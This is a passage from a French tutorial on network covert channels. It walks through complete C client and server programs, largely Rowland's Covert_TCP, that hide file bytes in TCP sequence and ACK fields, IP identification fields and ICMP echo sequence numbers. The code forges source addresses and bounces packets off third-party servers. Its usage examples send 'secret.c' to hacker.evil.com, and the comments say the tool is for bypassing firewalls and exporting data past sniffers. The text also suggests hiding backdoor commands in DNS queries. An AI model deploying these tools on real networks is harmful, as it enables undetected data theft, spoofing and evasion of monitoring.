137         if (source_port == 0) 
138         {       
139                 if((recv_pkt.tcp.syn == 1) && (recv_pkt.ip.saddr == source_addr)) 
140                 {
141         if (seq==1)
142                         {
143                          printf("Receiving Data: %c\n",recv_pkt.tcp.seq);
144                          fprintf(output,"%c",recv_pkt.tcp.seq); 
145                          fflush(output);
146                         }

147         /* Use a bounced packet from a remote server to decode the data */
148         /* This technique requires that the client initiates a SEND to */
149         /* a remote host with a SPOOFED source IP that is the location */
150         /* of the listening server. The remote server will receive the packet */
151         /* and will initiate an ACK of the packet with the encoded sequence */
152         /* number+1 back to the SPOOFED source. The covert server is waiting at this */
153         /* spoofed address and can decode the ack field to retrieve the data */
154         /* this enables an "anonymous" packet transfer that can bounce */
155         /* off any site. This is VERY hard to trace back to the originating */
156         /* source. This is pretty nasty as far as covert channels go... */
157         /* Some routers may not allow you to spoof an address outbound */
158         /* that is not on their network, so it may not work at all sites... */
159         /* SENDER should use covert_tcp with the -seq flag and a forged -source */
160         /* address. RECEIVER should use the -server -ack flags with the IP of */
161         /* of the server the bounced message will appear from.. CHR */

162         /* The bounced ACK sequence number is really the original sequence*/
163         /* plus one (ISN+1). However, the translation here drops some of the */
164         /* bits so we get the original ASCII value...go figure.. */

165                         else if (ack==1)
166                         {
167                          printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq);
168                          fprintf(output,"%c",recv_pkt.tcp.ack_seq); 
169                          fflush(output);
170                         }
171                 } 
172         } 

173         else
174         {
175                 if((recv_pkt.tcp.syn==1) && (ntohs(recv_pkt.tcp.dest) == source_port)) 
176                 {
177         if (seq==1)
178                         {
179                         printf("Receiving Data: %c\n",recv_pkt.tcp.seq);
180                         fprintf(output,"%c",recv_pkt.tcp.seq); 
181                         fflush(output);
182                         }
183                       
184                         else if (ack==1)
185                         {
186                         printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq);
187                         fprintf(output,"%c",recv_pkt.tcp.ack_seq); 
188                         fflush(output);
189                         }
190                 } 
191         } 

192    close(recv_socket); 
193   }

194   fclose(output);
195 }

196 unsigned short in_cksum(unsigned short *ptr, int nbytes)
197 {
198         register long           sum;            /* assumes long == 32 bits 
199 */
200         u_short                 oddbyte;
201         register u_short        answer;         /* assumes u_short == 16 bits */

202         /*
203          * Our algorithm is simple, using a 32-bit accumulator (sum),
204          * we add sequential 16-bit words to it, and at the end, fold back
205          * all the carry bits from the top 16 bits into the lower 16 bits.
206          */

207         sum = 0;
208         while (nbytes > 1)  {
209                 sum += *ptr++;
210                 nbytes -= 2;
211         }

212                                 /* mop up an odd byte, if necessary */
213         if (nbytes == 1) {
214                 oddbyte = 0;            /* make sure top half is zero */
215                 *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
216                 sum += oddbyte;
217         }

218         /*
219          * Add back carry outs from top 16 bits to low 16 bits.
220          */

221         sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
222         sum += (sum >> 16);                     /* add carry */
223         answer = ~sum;          /* ones-complement, then truncate to 16 bits 
224 */
225         return(answer);
226 }


227 unsigned int host_convert(char *hostname)
228 {
229    static struct in_addr i;
230    struct hostent *h;
231    i.s_addr = inet_addr(hostname);
232    if(i.s_addr == -1)
233    {
234       h = gethostbyname(hostname);
235       if(h == NULL)
236       {
237          fprintf(stderr, "cannot resolve %s\n", hostname);
238          exit(0);
239       }
240       bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
241    }
242    return i.s_addr;
243 } 


244 void usage(char *progname)
245 {
246       printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
247 filename -source_port port -dest_port port [encode type]\n\n", 
248 progname);
249       printf("-dest dest_ip      - Host to send data to.\n");
250       printf("-source source_ip  - Host data will be coming FROM.\n");
251       printf("-source_port port  - IP source port you want data to appear from. \n");
252       printf("                     (randomly set by default)\n");
253       printf("-dest_port port    - IP source port you want data to go to. In\n");
254       printf("                     SERVER mode this is the port data will be coming\n");
255       printf("                     inbound on. Port 80 by default.\n");
256       printf("-file filename     - Name of the file to encode and transfer.\n");
257       printf("[Encode Type] - Optional encoding type\n");
258       printf("-seq  - Encode data a byte at a time in the packet sequence \
259 number.\n");
260       printf("-ack  - DECODE data a byte at a time from the ACK field.\n");
261       printf("        This ONLY works from server mode and is made to decode\n");
262       printf("        covert channel packets that have been bounced off a remote\n");
263       printf("        server using -seq. See documentation for details\n");
264       printf("\nPress ENTER for examples.");
265       getchar();
266       printf("\nExample: \nserver -dest foo.bar.com -source hacker.evil.com - \
267 dest_port 80 -file secret.c\n\n");
268       printf("Above listens passively for packets from  hacker.evil.com\n");
269       printf("destined for port 80. It takes the data and saves the file locally\n");
270       printf("as secret.c\n\n");
271       exit(0);
272 } 

Dans server.c:
lignes 28 à 105: on filtre les données passées au programme.
lignes 111 à 116: on créé une structure contenant les header IP et TCP et le corps.
lignes 127 à 136: on mets en écoute le serveur. Ici le code est particulièrement sale étant donné qu'il n'y a aucune vérification avant le read(). Mais si vous voulez l'améliorer libre à vous :).
[Note Pour les Newbies: on passe en argument à read() l'adresse de la structure contenant les formats des header, cette technique s'appelle un cast].
lignes 137 à 146: on récupère les données dans le champ N° de Séquence et on les écris dans un fichier.
lignes 147 à 164: un commentaire explicant le fonctionnement de la technique utilisant le N° de ACK, l'auteur du code explique que comme certains bits sont perdus pendant la translation integer vers char malgré que le N° de ACK soit différent du N° de Séquence, la valeur au finale reste la même.
lignes 165 à 170: on récupère les données dans ce fameux champ N° de ACK.
lignes 173 à 191: on recommence (même chose que lignes 137 à 164) sauf que ce coup-ci le port source est défini par l'utilisateur et on le compare par rapport au port source contenu dans l'header TCP ligne 175.
Pour la suite il s'agit des mêmes fonctions que pour le client qui font strictement la même chose.

Bon comme ce code n'est pas de moi je vais éviter de trop cracher dessus :) mais comme vous le voyez l'auteur dit bien qu'il s'agit d'un proof of concept et qu'il peut être facilement améliorer. Déjà on pourrait mettre un système de gestion des erreurs, utiliser le multi-threads...

[RFC]
http://abcdrfc.free.fr/rfc-vf/rfc793.html

[FrameIp]
http://www.frameip.com/entetetcp/

[ROWLANDCOVER]
http://ouah.kernsh.org/rowlandcover.htm

Exemple: Protocole UDP

Comme d'habitude si vous voulez plus d'informations sur le protocole UDP allez voir la [RFC] ou sur [FrameIp].
Le header UDP ressemble à ça :
http://www.frameip.com/enteteudp/
On voit très vite que cet header ne présente que peu d'intérêt pour nous, tous les champs sont utiliser lors des communication il est donc impossible d'y inclure des données.
Les paquets UDP tout comme TCP utilisent un pseudo header pour se protéger des erreurs de routage:
http://www.frameip.com/enteteudp/
Et là aussi on ne peut pas en tiré grand chose...
Mais qu'à cela ne tienne il existe encore une partie des paquets UDP non utiliser, le corps.
Bien sûr il ne faut pas balancer ses données comme ça dans le corps, ce serait bien trop visible.
La technique la plus utilisée par les hackers est généralement de planquer les données dans les requêtes DNS.
Ce protocole est extrêmement utiliser et je vous propose d'aller voir la [RFC] DNS pour mieux connaître ce protocole.

Il existe dans le header des paquets DNS un champ appeler name qui ressemble à 217.224.247.80.in-addr.arpa.
Les 4 premiers nombres sont une adresse ip, suivie généralement de .in-addr.arpa. Là ou l'on peut cacher des données c'est dans les 4 premiers nombres mais il ne faut pas que ceux-ci dépasse 255 ou soient négatif. Il faut donc formatter les données mais dans le cas où l'on envoie une commande à une backdoor, c'est largement suffisant.

Pour le covert channel DNS je vous laisse trouver des utilitaires qui le font (allez voir à la fin de l'article).
De plus au niveau de la programmation de DNS on utilise les sock_dgram qui ne nécessite pas les droits root.

[RFC]
http://abcdrfc.free.fr/rfc-vf/rfc768.html

[RFC]
http://abcdrfc.free.fr/rfc-vf/rfc1034.html

[FrameIp]
http://www.frameip.com/enteteudp/

Exemple: Protocole ICMP

Le protocole ICMP est un protocole de choix en matière de covert channel ou même de tunneling.
Pour utiliser le protocole ICMP on utilise les sock_raw et donc le programme nécessite les droits root.
Vous avez l'habitude maintenant, pour plus d'informations sur le protocole ICMP allez voir la [RFC].
Le header ICMP est bien plus simple que les autres, même comparer aux deux header UDP.

Le header ICMP ressemble à:
http://www.frameip.com/enteteicmp/
Il n'y a que deux champs qui peuvent nous intéresser :
- Identifiant: il peut être utilisé par l'émetteur du message d'écho afin d'associer facilement l'écho et sa réponse (tout comme le numéro de port destination pour TCP ou UDP). On lui attribue généralement le numéro de PID du processus.
- Numéro de Séquence: Son utilité est la même que l'identifiant en complément de celui-ci. Il est généralement incrémenter de 1 à chaque message d'écho envoyer.

Ces deux champs représentent 32 bits ce qui est pas mal dans un header.
Si vous ne voulez pas vous tapez toute la RFC, allez donc sur [FrameIp].
Le code source utilise le champ N° de Séquence pour caché les données.

En pratique cela donne :
Ce code viens de moi mais est fortement inspiré du code précédent de Rowland.

client.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/icmp.h>

12 void forgepacket(unsigned int, unsigned int, char *);
13 unsigned int host_convert(char *);
14 unsigned short in_cksum(unsigned short *, int);
15 void usage(char *);

client.c:
1 #include "client.h"

2 int main(int argc, char *argv[]) {    
3    unsigned int source_host=0,dest_host=0;
4    int file=0;
5    int count;
6    char desthost[80],srchost[80],filename[80];
7    if(geteuid() !=0)
8     {
9     printf("\nYou need to be root to run this.\n\n");
10     exit(0);
11     }
12     
13    if((argc < 5) || (argc > 13))
14    {
15    usage(argv[0]);
16    exit(0);
17    }    
18    for(count=0; count < argc; ++count)
19     {
20     if (strcmp(argv[count],"-dest") == 0)
21      {
22      dest_host=host_convert(argv[count+1]); 
23      strncpy(desthost,argv[count+1],79);
24      }
25      
26     else if (strcmp(argv[count],"-source") == 0)
27      {
28      source_host=host_convert(argv[count+1]); 
29      strncpy(srchost,argv[count+1],79);
30      }  
31     else if (strcmp(argv[count],"-file") == 0)
32      {
33      strncpy(filename,argv[count+1],79);
34      file=1;
35      }
36     }
37    if(file != 1)
38     {
39     printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
40     exit(1);
41     }
42      if (source_host == 0 && dest_host == 0)
43       {
44       printf("\n\nYou need to supply a source and destination address for client mode.\n\n");
45       exit(1);
46       }
47      else
48       {
49       printf("Destination Host: %s\n",desthost);
50       printf("Source Host     : %s\n",srchost);
51       printf("Encoded Filename: %s\n",filename);
52        printf("Encoding Type   : ICMP Seq\n");
53        printf("\nClient Mode: Sending data.\n\n");
54       
55      }
56      
57      forgepacket(source_host, dest_host, filename);
58      exit(0);
59 }

60 void forgepacket(unsigned int source_addr, unsigned int dest_addr,  char *filename) {
61    struct send_icmp
62    {
63       struct iphdr ip;
64       struct icmphdr icmp;
65    } send_icmp;
66    int ch, szpkt;
67    int send_socket;
68    struct sockaddr_in sin;
69    FILE *input;
70    
71  srand((getpid())*(sizeof(int))); 
72    szpkt=sizeof(struct iphdr) + sizeof(struct icmphdr);
73    
74  if((input=fopen(filename,"rb"))== NULL) {
75    printf("I cannot open the file %s for reading\n",filename);
76    exit(1);
77  }
78  
79  else while((ch=fgetc(input)) !=EOF)
80   {

81  sleep(1);

82    send_icmp.ip.ihl = 5;
83    send_icmp.ip.version = 4;
84    send_icmp.ip.tos = 0;
85    send_icmp.ip.tot_len = htons(40);
86    send_icmp.ip.id = (int)(255.0*rand()/(RAND_MAX+1.0));
87    send_icmp.ip.frag_off = 0;
88    send_icmp.ip.ttl = 64; 
89    send_icmp.ip.protocol = IPPROTO_ICMP;
90    send_icmp.ip.check = 0;
91    send_icmp.ip.saddr = source_addr;
92    send_icmp.ip.daddr = dest_addr;

93    send_icmp.icmp.type = 8;
94    send_icmp.icmp.code = 0;
95    send_icmp.icmp.un.echo.id = 1000;
96    
97    send_icmp.icmp.un.echo.sequence = ch;
98  
99    sin.sin_family = AF_INET;
100    sin.sin_addr.s_addr = send_icmp.ip.daddr;   
101    send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
102    if(send_socket < 0)
103    {
104       perror("send socket cannot be open. Are you root?");
105       exit(1);
106    }
107   
108       send_icmp.ip.check = in_cksum((unsigned short *)&send_icmp.ip, 20);
109       
110       send_icmp.icmp.checksum = 0;
111       send_icmp.icmp.checksum = in_cksum((unsigned short *)&send_icmp.icmp, sizeof(struct icmphdr));
112       
113       sendto(send_socket, &send_icmp, szpkt, 0, (struct sockaddr *)&sin, sizeof(sin));
114       printf("Sending Data: %c\n",ch);
115   close(send_socket);
116  } 
117 fclose(input);
118 } 

119 unsigned int host_convert(char *hostname){
120    static struct in_addr i;
121    struct hostent *h;
122    i.s_addr = inet_addr(hostname);
123    if(i.s_addr == -1)
124    {
125       h = gethostbyname(hostname);
126       if(h == NULL)
127       {
128          fprintf(stderr, "cannot resolve %s\n", hostname);
129          exit(0);
130       }
131       bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
132    }
133    return i.s_addr;
134 }

135 unsigned short in_cksum(unsigned short *data, int taille)
136     {
137     unsigned long checksum=0;
138     // ********************************************************
139     // Complement a 1 de la somme des complément a 1 sur 16 bits
140     // ********************************************************
141     while(taille>1)
142         {
143         checksum=checksum+*data++;
144         taille=taille-sizeof(unsigned short);
145         }
146     if(taille)
147         checksum=checksum+*(unsigned char*)data;
148     checksum=(checksum>>16)+(checksum&0xffff);
149     checksum=checksum+(checksum>>16);
150     return (unsigned short)(~checksum);
151     }

152 void usage(char *progname){
153       printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
154 filename\n\n", 
155 progname);
156       printf("-dest dest_ip      - Host to send data to.\n");
157       printf("-source source_ip  - Host where you want the data to originate \
158 from.\n");
159       printf("-file filename     - Name of the file to encode and transfer.\n");
160       printf("\nPress ENTER for examples.");
161       getchar();
162       printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com -file secret.c\n\n");
163       printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
164       printf("at a time using the default ICMP packet Seq encoding.\n");
165       exit(0);
166 }

Bon on va passer directement au contenu de client.c vous savez maintenant à quoi sert client.h
lignes 2 à 56: on filtre les arguments passés au programme.
ligne 57: on appel forgepacket() qui s'occupe du plus important.
ligne 71: on initialise le générateur de nombre pseudo-aléatoire à l'aide d'une graine pas assez variable (à améliorer).
ligne 72: pour améliorer le code je calcul la taille réelle des header IP+ICMP pour la passer à sendto() ligne 113.
La suite est quasiement pareil que pour TCP sauf:
ligne 97: on mets le caractère dans le champ N° de Séquence.
ligne 110: pour calculer le checksum d'un paquet ICMP il faut initialiser le champ à 0 (ce qui n'est pas obligatoire pour TCP).
lignes 135 à 151: on utilise une autre fonction pour calculer le checksum. La façon de le calculer varie en fonction du protocole : UDP et TCP ont besoin de la fonction du code précédent, IGMP et ICMP ont besoin de cette routine.

Du côter du serveur:
server.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/icmp.h>

12 void forgepacket(unsigned int, unsigned int, char *);
13        
14 unsigned int host_convert(char *);
15 void usage(char *);

server.c:
1 #include "server.h"

2 int main(int argc, char *argv[]){

3    unsigned int source_host=0,dest_host=0;
4    int ipid=0,file=0;
5    int count;
6    char desthost[80],srchost[80],filename[80];

7    if(geteuid() !=0)
8     {
9     printf("\nYou need to be root to run this.\n\n");
10     exit(0);
11     }

12    if((argc < 5) || (argc > 13))
13    {
14    usage(argv[0]);
15    exit(0);
16    }

17    for(count=0; count < argc; ++count)
18     {
19     if (strcmp(argv[count],"-dest") == 0)
20      {
21      dest_host=host_convert(argv[count+1]); 
22      strncpy(desthost,argv[count+1],79);
23      }
24      
25     else if (strcmp(argv[count],"-source") == 0)
26      {
27      source_host=host_convert(argv[count+1]); 
28      strncpy(srchost,argv[count+1],79);
29      }
30     else if (strcmp(argv[count],"-file") == 0)
31      {
32      strncpy(filename,argv[count+1],79);
33      file=1;
34      }
35     }

38   
39    if(file != 1)
40     {
41     printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
42     exit(1);
43     }
44     
45      if(dest_host == 0) 
46       strcpy(desthost,"Any Host");
47      if(source_host == 0)
48       strcpy(srchost,"Any Host");
49      printf("Listening for data from IP: %s\n",srchost);
50      
51      printf("Decoded Filename: %s\n",filename);
52       printf("Decoding Type Is: ICMP Seq\n"); 
53      printf("\nServer Mode: Listening for data.\n\n");
54      forgepacket(source_host, dest_host, filename);
55    exit(0);
56 }

57 void forgepacket(unsigned int source_addr, unsigned int dest_addr, char *filename) {
58    struct recv_icmp
59    {
60       struct iphdr ip;
61       struct icmphdr icmp;
62    } recv_pkt;
63    
64    struct sockaddr_in sin;
65    
66    int recv_socket;
67    char *buf = (char *)malloc(2048*sizeof(char));
68    FILE *output;
69    
70    srand((getpid())*(sizeof(int))); 
71     if((output=fopen(filename,"wb"))== NULL) {
72      printf("I cannot open the file %s for writing\n",filename);
73      exit(1);
74     }
75  while(1) 
76  {
77    recv_socket = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
78    
79    if(recv_socket < 0)
80    {
81       perror("receive socket cannot be open. Are you root?");
82       exit(1);
83    }
84    
85  read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999);
86  
87    if((recv_pkt.icmp.type == 8) && (recv_pkt.icmp.code == 0)) {    
88       printf("Receiving Data: %c\n",recv_pkt.icmp.un.echo.sequence);
89       fprintf(output,"%c",recv_pkt.icmp.un.echo.sequence);
90       fflush(output);
91    } 
92    close(recv_socket); 
93   }
94   fclose(output);
95 }

96 unsigned int host_convert(char *hostname)
97 {
98    static struct in_addr i;
99    struct hostent *h;
100    i.s_addr = inet_addr(hostname);
101    if(i.s_addr == -1)
102    {
103       h = gethostbyname(hostname);
104       if(h == NULL)
105       {
106          fprintf(stderr, "cannot resolve %s\n", hostname);
107          exit(0);
108       }
109       bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
110    }
111    return i.s_addr;
112 } 

113 void usage(char *progname)
114 {
115       printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file filename\n\n", 
116 progname);
117       printf("-dest dest_ip      - Host to send data to.\n");
118       printf("-source source_ip  - Host data will be coming FROM.\n");
119       printf("-file filename     - Name of the file to encode and transfer.\n");
120       printf("\nPress ENTER for examples.");
121       getchar();
122       printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com -file secret.c\n\n");
123       printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
124       printf("at a time using the default IP packet ID encoding.\n");
125       exit(0);
126 } 

Bon on va passer directement au code qui nous intéresse, le reste est trivial et déjà expliquer plus haut.
Dans server.c:
ligne 87 à 90: si on reçoit bien un echo request on récupère le contenu du champ N° de Séquence du paquet reçu et on le balance dans un fichier.
Il y a peut-être moyen d'utiliser une méthode avec rebond, sachant que le N° de Séquence est incrémenté de 1 mais malheureusement cette spécificité n'est pas toujours respecter dans la pratique.
Comme pour les autres codes il y a surement beaucoup d'améliorations possibles.

[RFC]
http://abcdrfc.free.fr/rfc-vf/rfc792.html

[FrameIp]
http://www.frameip.com/enteteicmp/

Exemple: Protocole IP

Le protocole IP est une couche en-dessous de ICMP, UDP ou TCP dans le modèle OSI. Il s'agit d'un protocole principalement utiliser pour le routage des données. Ce protocole possède un header assez simple bien que contenant plus d'informations qu'ICMP. Pour plus d'informations sur IP allez lire la [RFC].
Pour manipuler des paquets IP il faut utiliser les SOCK_RAW et donc il faut les droits root.
Le header IP ressemble à ça:
http://www.frameip.com/enteteip/
Le champs qui peuvent nous intéresser sont:
- Le champ Identification: il est utiliser lorsque l'on fait de la fragmentation, tous les fragments d'un paquet ont le même identifiant.
- Le champ TTL: acronyme de Time To Live ce champ permet de spécifier le nombre de routeur que le paquet peut passer avant d'être détruit (pour éviter les paquets "zombie").
Tout comme TCP, l'header IP possède un complément:
http://www.frameip.com/enteteip/
- Les options: Ce champ doit, à l'aide du bourrage, occuper une taille de 4 octets.

Si vous n'avez pas le courage de lire la RFC en entière, allez faire un tour sur [FrameIp].
Le code source que je vais vous présentez a été écrit par Rowland dans [ROWLANDCOVER]. Les données sont cachées dans le champ Identifiant.
Passons à la pratique.
client.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/tcp.h>

12 void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
13        int);
14        
15 unsigned int host_convert(char *);
16 unsigned short in_cksum(unsigned short *, int);
17 void usage(char *);

client.c:
1 /* Covert_TCP 1.0 - Covert channel file transfer for Linux
2 * Written by Craig H. Rowland (crowland@psionic.com)
3 * Copyright 1996 Craig H. Rowland (11-15-96)
4 * NOT FOR COMMERCIAL USE WITHOUT PERMISSION. 
5 * 
6 *
7 * This program manipulates the TCP/IP header to transfer a file one byte
8 * at a time to a destination host. This progam can act as a server and a client
9 * and can be used to conceal transmission of data inside the IP header. 
10 * This is useful for bypassing firewalls from the inside, and for 
11 * exporting data with innocuous looking packets that contain no data for 
12 * sniffers to analyze. In other words, spy stuff... :)
13 *
14 * PLEASE see the enclosed paper for more information!!
15 *
16 * This software should be used at your own risk. 
17 *
18 * compile: cc -o covert_tcp covert_tcp.c
19 *
20 * 
21 * Portions of this code based on ping.c (c) 1987 Regents of the 
22 * University of California. (See function in_cksm() for details)
23 *
24 * Small portions from various packet utilities by unknown authors
25 */

26 #include "client.h"

27 int main(int argc, char *argv[]) {
28    unsigned int source_host=0,dest_host=0;
29    unsigned short source_port=0,dest_port=80;
30    int ipid=0,file=0;
31    int count;
32    char desthost[80],srchost[80],filename[80];
33    if(geteuid() !=0)
34     {
35     printf("\nYou need to be root to run this.\n\n");
36     exit(0);
37     }
38     
39    if((argc < 5) || (argc > 13))
40    {
41    usage(argv[0]);
42    exit(0);
43    }    
44    for(count=0; count < argc; ++count)
45     {
46     if (strcmp(argv[count],"-dest") == 0)
47      {
48      dest_host=host_convert(argv[count+1]); 
49      strncpy(desthost,argv[count+1],79);
50      }
51      
52     else if (strcmp(argv[count],"-source") == 0)
53      {
54      source_host=host_convert(argv[count+1]); 
55      strncpy(srchost,argv[count+1],79);
56      }
57     else if (strcmp(argv[count],"-file") == 0)
58      {
59      strncpy(filename,argv[count+1],79);
60      file=1;
61      }
62     else if (strcmp(argv[count],"-source_port") == 0)
63       source_port=atoi(argv[count+1]);
64     else if (strcmp(argv[count],"-dest_port") == 0)
65       dest_port=atoi(argv[count+1]);
66     }
67     ipid=1; 
68    if(file != 1)
69     {
70     printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
71     exit(1);
72     }
73      if (source_host == 0 && dest_host == 0)
74       {
75       printf("\n\nYou need to supply a source and destination address for client mode.\n\n");
76       exit(1);
77       }
78      else
79       {
80       printf("Destination Host: %s\n",desthost);
81       printf("Source Host     : %s\n",srchost);
82        if(source_port == 0)
83         printf("Originating Port: random\n");
84        else
85         printf("Originating Port: %u\n",source_port);
86       printf("Destination Port: %u\n",dest_port);
87       printf("Encoded Filename: %s\n",filename);
88        printf("Encoding Type   : IP ID\n");
89        printf("\nClient Mode: Sending data.\n\n");
90       
91      }
92      
93      forgepacket(source_host, dest_host, source_port, dest_port,filename,ipid);
94      exit(0);
95 }

96 void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
97 short source_port, unsigned short dest_port, char *filename, int ipid) {
98    struct send_tcp
99    {
100       struct iphdr ip;
101       struct tcphdr tcp;
102    } send_tcp;
103    struct pseudo_header
104    {
105       unsigned int source_address;
106       unsigned int dest_address;
107       unsigned char placeholder;
108       unsigned char protocol;
109       unsigned short tcp_length;
110       struct tcphdr tcp;
111    } pseudo_header
112    int ch;
113    int send_socket;
114    struct sockaddr_in sin;
115    FILE *input;
116    
117  srand((getpid())*(dest_port)); 
118  
119  if((input=fopen(filename,"rb"))== NULL)
120  {
121  printf("I cannot open the file %s for reading\n",filename);
122  exit(1);
123  }
124 else while((ch=fgetc(input)) !=EOF)
125  {
126  sleep(1);
127    send_tcp.ip.ihl = 5;
128    send_tcp.ip.version = 4;
129    send_tcp.ip.tos = 0;
130    send_tcp.ip.tot_len = htons(40);
131    send_tcp.ip.id =ch;
133    send_tcp.ip.frag_off = 0;
134    send_tcp.ip.ttl = 64; 
135    send_tcp.ip.protocol = IPPROTO_TCP;
136    send_tcp.ip.check = 0;
137    send_tcp.ip.saddr = source_addr;
138    send_tcp.ip.daddr = dest_addr;

139 if(source_port == 0) 
140    send_tcp.tcp.source = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));

141 else 
142    send_tcp.tcp.source = htons(source_port);
143    send_tcp.tcp.seq = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));
144    send_tcp.tcp.dest = htons(dest_port);
145    send_tcp.tcp.ack_seq = 0;
146    send_tcp.tcp.res1 = 0;
147    send_tcp.tcp.doff = 5;
148    send_tcp.tcp.fin = 0;
149    send_tcp.tcp.syn = 1;
150    send_tcp.tcp.rst = 0;
151    send_tcp.tcp.psh = 0;
152    send_tcp.tcp.ack = 0;
153    send_tcp.tcp.urg = 0;
154    send_tcp.tcp.ece = 0;
155    send_tcp.tcp.window = htons(512);
156    send_tcp.tcp.check = 0;
157    send_tcp.tcp.urg_ptr = 0;

158    sin.sin_family = AF_INET;
159    sin.sin_port = send_tcp.tcp.source;
160    sin.sin_addr.s_addr = send_tcp.ip.daddr;   

161    send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
162    if(send_socket < 0)
163    {
164       perror("send socket cannot be open. Are you root?");
165       exit(1);
166    }

167       send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
168       
169       pseudo_header.source_address = send_tcp.ip.saddr;
170       pseudo_header.dest_address = send_tcp.ip.daddr;
171       pseudo_header.placeholder = 0;
172       pseudo_header.protocol = IPPROTO_TCP;
173       pseudo_header.tcp_length = htons(20);

174       bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);

175       send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);

176       sendto(send_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sizeof(sin));
177       printf("Sending Data: %c\n",ch);

178   close(send_socket);
179  } 

180 fclose(input);
181 } 

182 unsigned int host_convert(char *hostname){
183    static struct in_addr i;
184    struct hostent *h;
185    i.s_addr = inet_addr(hostname);
186    if(i.s_addr == -1)
187    {
188       h = gethostbyname(hostname);
189       if(h == NULL)
190       {
191          fprintf(stderr, "cannot resolve %s\n", hostname);
192          exit(0);
193       }
194       bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
195    }
196    return i.s_addr;
197 }

198 unsigned short in_cksum(unsigned short *ptr, int nbytes){
199         register long           sum;            /* assumes long == 32 bits 
200 */
201         u_short                 oddbyte;
202         register u_short        answer;         /* assumes u_short == 16 bits */

203         /*
204          * Our algorithm is simple, using a 32-bit accumulator (sum),
205          * we add sequential 16-bit words to it, and at the end, fold back
206          * all the carry bits from the top 16 bits into the lower 16 bits.
207          */

208         sum = 0;
209         while (nbytes > 1)  {
210                 sum += *ptr++;
211                 nbytes -= 2;
212         }

213                                 /* mop up an odd byte, if necessary */
214         if (nbytes == 1) {
215                 oddbyte = 0;            /* make sure top half is zero */
216                 *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
217                 sum += oddbyte;
218         }

219         /*
220          * Add back carry outs from top 16 bits to low 16 bits.
221          */

222         sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
223         sum += (sum >> 16);                     /* add carry */
224         answer = ~sum;          /* ones-complement, then truncate to 16 bits 
225 */
226         return(answer);
227 }


228 void usage(char *progname){
229       printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
230 filename\n\n", 
231 progname);
232       printf("-dest dest_ip      - Host to send data to.\n");
233       printf("-source source_ip  - Host where you want the data to originate \
234 from.\n");
235       printf("-source_port port  - IP source port you want data to appear from. \n");
236       printf("                     (randomly set by default)\n");
237       printf("-dest_port port    - IP source port you want data to go to. In\n");
238       printf("                     SERVER mode this is the port data will be coming\n");
239       printf("                     inbound on. Port 80 by default.\n");
240       printf("-file filename     - Name of the file to encode and transfer.\n");
241       printf("\nPress ENTER for examples.");
242       getchar();
243       printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com \
244       -file secret.c\n\n");
245       printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
246       printf("at a time using the default IP ID packet encoding.\n");
247       exit(0);
248 }
Alors tout comme le code précédent nous iront à l'essentiel et voir ce qui est différent des codes précédents.
Tout d'abord remarquez que l'on forge un header TCP dans IP pour que le paquet est vraiment l'air véridique.
Comparer au code sur le covert channel TCP:
ligne 131: contrairement à l'ancien code, Le champ Identification de l'header IP est rempli avec nos données.
ligne 143: Le champ N° de Séquence de l'header TCP est bel et bien rempli avec un nombre aléatoire.
Tout le reste du code est identique à celui sur les covert channel TCP.

Côté serveur (ça se passe de commentaire).
server.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/tcp.h>

12 void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
13        int);
14        
15 unsigned int host_convert(char *);
16 void usage(char *);

server.c:
1 /* Covert_TCP 1.0 - Covert channel file transfer for Linux
2 * Written by Craig H. Rowland (crowland@psionic.com)
